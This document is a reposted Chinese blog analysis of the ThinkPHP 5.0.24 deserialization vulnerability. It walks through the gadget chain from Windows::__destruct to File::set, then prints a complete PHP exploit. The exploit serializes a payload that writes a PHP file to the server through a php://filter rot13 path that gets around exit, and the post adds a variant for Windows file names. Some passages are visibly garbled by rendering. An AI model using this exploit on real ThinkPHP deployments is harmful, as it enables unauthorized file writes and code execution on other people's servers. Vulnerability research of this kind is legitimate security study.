thinkphp5.0.24反序列化漏洞分析
thinkphp5框架:
thinkphp5的入口文件在public\index.php
,訪問
http://192.168.64.105/thinkphp_5.0.24/public/index.php
具體分析
反序列化起點
寫一個反序列化入口點
全局搜索__destruct()
函數(shù)
\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php
中的__destruct()
函數(shù),調用了removeFiles()
跟進removeFiles(),第163行的file_exists可以觸發(fā)__toString
方法
全局搜索__toString方法
在thinkphp\library\think\Model.php
的第2265行,發(fā)現(xiàn)其調用了toJson方法
跟進toJson
,發(fā)現(xiàn)其調用了toArray()方法(在Model.php中)
toArray
跟進toArray
,發(fā)現(xiàn)其有三處可以調用__call
方法(就是整一個可以控制的類對象,然后讓其調用該類不存在的方法,然后觸發(fā)__call
魔術方法)
__call(),在對象中調用一個不可訪問方法時調用。
著重看第三處,也就是第912行,這個需要我們控制$value變量
這個$value變量是根據(jù) $value = $this->getRelationData($modelRelation);
而來的
getRelationData分析
跟進getRelationData
方法,注意參數(shù)$modelRelation
需要是Relation
類型的,該方法也是thinkphp\library\think\Model.php
中定義的
如果我們讓if滿足,那么$value=$this->parent
,看三個條件
-
$this->parent
存在且可控 - 第二個條件
!$modelRelation->isSelfRelation()
,跟進isSelfRelation()
方法,該方法在thinkphp\library\think\model\Relation.php
中定義,返回$this->selfRelation,可控
- 第三個條件
get_class($modelRelation->getModel()) == get_class($this->parent)
,也就是
跟進getModel()函數(shù)
,該函數(shù)在thinkphp\library\think\model\Relation.php
,返回$this->query->getModel()
,其中$query可控
所以我們要查哪個類的getModel()可控,最后找到了thinkphp\library\think\db\Query.php
的getModel方法,該方法返回$this->model
,并且$this->parent可控
三個條件都滿足,執(zhí)行$value = $this->parent; return $value;
,也就是\think\console\Output
該函數(shù)分析到這里
$modelRelation生成
上面分析了函數(shù)的執(zhí)行過程,接下來分析我們怎么能傳入一個Relation類
的$modelRelation參數(shù)
發(fā)現(xiàn)$relation()函數(shù)是根據(jù)$relation的值進行調用的,需要滿足if條件method_exists
跟進Loader::parseName
瞅一瞅,這個函數(shù)也只是對傳入的$name
進行了一些大小寫的替換,沒有一些很嚴格的過濾操作,因為$name
可控,所以$relation可控
在$relation可控的前提下,要滿足這個method_exists,則需要將$relation設定為$this(也就是thinkphp\library\think\Model.php)中存在的方法
if (method_exists($this, $relation))
這里選擇getError,因為其不僅在Model類中定義,且error可控
所以我們只要設置了$error,那么其值就會通過 $modelRelation = $this->$relation();
傳給$modelRelation ,因為relation()也就是 Error()
,所以就是$modelRelation = $this->Error()
,即$modelRelation = $error
modelRelation分析到這里,而我們傳的$error
是什么,接下來會分析,其實就是HasOne
類
進入__call前的兩個if
接下來要分析兩個if條件
我們看第一個if,要滿足 m o d e l R e l a t i o n 這 個 類 中 存 在 g e t B i n d A t t r ( ) 函 數(shù) , 而 且 下 一 個 ‘ modelRelation這個類中存在getBindAttr()函數(shù),而且下一個` modelRelation這個類中存在getBindAttr()函數(shù),而且下一個‘bindAttr`是該函數(shù)的返回值
全局搜索getBindAttr
其在OneToOne.php中定義,該類是個抽象類,且OneToOne類是Relation類的派生類,其$this->bindAttr可控
我們搜索繼承OneToOne的類,發(fā)現(xiàn)HasOne類,所以可以讓$modelRelation的值為HasOne
,這個也滿足getRelationData()傳入的是Relation類對象
的要求,并且bindAttr可控,滿足第二個if條件,簡直完美!??!
其實下面還有一個if,但是我們簡單看下,將$bindAttr的鍵值對中的鍵給$key,然后進行isset判斷,當已經(jīng)定義才滿足if,我們要進入的是不滿足if條件的時候
__call
然后進入__call
,要選擇一個能寫webshell的類的__call
方法,選擇了thinkphp\library\think\console\Output.php
所以上面的$value應該是一個thinkphp\library\think\console\Output.php
類對象
在這里
m
e
t
h
o
d
和
method和
method和this->styles是可控的,array_unshift()對調用block()方法沒有影響,可以執(zhí)行block
方法,跟進Output的block
方法
跟進writeln
方法
跟進write方法
handle屬性可控,所以全局搜索write
方法
thinkphp\library\think\session\driver\Memcached.php
的write方法
而$this->handler可控,所以全局搜索可用的set方法
虛假的寫文件
在thinkphp\library\think\cache\driver\File.php
中,set方法可以使用file_put_contents
寫文件,第158行的exit可以使用偽協(xié)議進行繞過
初步來看可以利用file_put_contents來寫文件,我們跟入 d a t a 和 data和 data和filename,看 d a t a 與 data與 data與filename是否可控
-
$filename
的值是由getCacheKey()方法決定的,跟進getCacheKey,可以知道filename的后綴名是php,是寫死的,文件名部分可控
- 跟進$data,發(fā)現(xiàn)$data是已經(jīng)被寫死了,$value的值只能為true
所以就是file_put_contents可以寫文件,但是內容不可控
setTagItem
所以繼續(xù)看set接下來的代碼,調用了setTagItem()
進入thinkphp\library\think\cache\Driver.php
的setTagItem
方法,(注意File類繼承了Driver類,但是Driver是一個抽象類)并且會再執(zhí)行一次set方法,這一次$key是由$this->tage而來,可控;$value由$name而來,也是可控的
但是windows對文件名有相應的要求,所以復現(xiàn)不容易
繞過exit
上面已經(jīng)分析得很詳細了,這里簡單調試分析一下
到$value
到set方法這里,著重看一下,第一次整的時候,直接報錯了,轉到異常處理了,
這里是因為我的文件名不符合要求,所以先隨便寫一個,看接下來怎么走
隨便寫一個之后,走到setTagItem()這里,這里$tag是可控的,所以$key是可控的
這個第二次調用set函數(shù),$key可知,$value可控
放在linux運行,生成了對應的文件
查看
這里雖然看著是加了'
,但是其實并沒有,注意訪問的時候,將?
進行url編碼一下
注意需要將php的short_open_tag
設為Off
,不然會將<??>
之間的內容識別為php代碼,但是<? 之后是cuc,不符合語法,所以報錯
exp
<?php
namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes
{}
//Windows類中有$files數(shù)組 通過file_exists觸發(fā)__toString方法
class Windows extends Pipes{
private $files = []; //$files是個數(shù)組
public function __construct()
{
$this->files = [new Pivot()]; //觸發(fā)Model類的toString()方法,因為Model是一個抽象類,所以選擇其派生類Pivot
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
# Model抽象類
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改處
protected $selfRelation;
protected $query;
protected $aaaaa;
function __construct(){
$this->parent = new Output(); //調用__call()
$this->append = ['getError']; //會用foreach將append中的值傳給$name,傳給$relation,調用getError(),將下面的error傳給$modelRelation
$this->error = new HasOne(); //最后傳給$modelRelation
$this->selfRelation = false; //isSelfRelation()
$this->query = new Query(); //用于判斷getRelationData()中if條件的第三個
}
}
#Relation抽象類 之后的Output是Relation的派生類
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false; # 這個用于判斷getRelationData()中if條件的第二個
$this->query = new Query();#class Query
}
}
#OneToOne HasOne 用于傳給$modelRelation,主要是用于滿足if條件,進入value->getAttr()
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{ # OneToOne抽象類
function __construct(){
parent::__construct();
}
}
// HasOne
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"]; # 這個需要動調,才能之后為什么這么寫,待會說
}
}
#Output 進入Output->__call()
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached(); //目的調用Memcached類的write()函數(shù)
$this->styles = ['getAttr']; # 這是因為是通過Output->getAttr進入__call函數(shù),而__call的參數(shù)中$method是getAttr
}
}
#Query
namespace think\db;
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output(); //判斷getRelationData()中if條件的第三個
}
}
#Memcached
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File(); //目的是調用File->set()
}
}
#File
namespace think\cache\driver;
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>', //
'data_compress' => false,
];
$this->tag = true;
}
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
pop鏈圖
這里借用一下osword
師傅的圖
解決windows下的文件名問題
我們注意到,在原有的鏈子中,我們在thinkphp\library\think\session\driver\Memcached.php
中將$this->handler設置為File類對象,目的是調用File.php的set()
方法
但是也可以將$this->handler設置為thinkphp\library\think\cache\driver\Memcached.php
中的Memcached
類對象,注意這兩個php文件是不一樣的,其也有一個set方法
第114行也有一個set方法,且handler可控
看這個getCacheKey()函數(shù),這個options可控,所以返回值可控
所以$key可控,但是我們前面分析過了,這個$value不可控,所以還是要進115行的setTagItem()函數(shù),跟進,它還是在Driver.php中定義的,這里根據(jù)前面的分析,$key和$value都是可控的,且沒有那個<>?
這樣的特殊符號的影響
文章來源:http://www.zghlxwxcb.cn/news/detail-403138.html
詳細參考:Thinkphp5.0.24反序列化漏洞分析與利用 - Yhck - 博客園 (cnblogs.com)文章來源地址http://www.zghlxwxcb.cn/news/detail-403138.html
參考鏈接
- ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
- Thinkphp5.0.24反序列化漏洞分析與利用 - Yhck - 博客園 (cnblogs.com)
- thinkphp v5.0.24 反序列化利用鏈分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
- [(1條消息) 省信息安全技術大賽]Web4_沫憶末憶的博客-CSDN博客
到了這里,關于thinkphp5.0.24反序列化漏洞分析的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!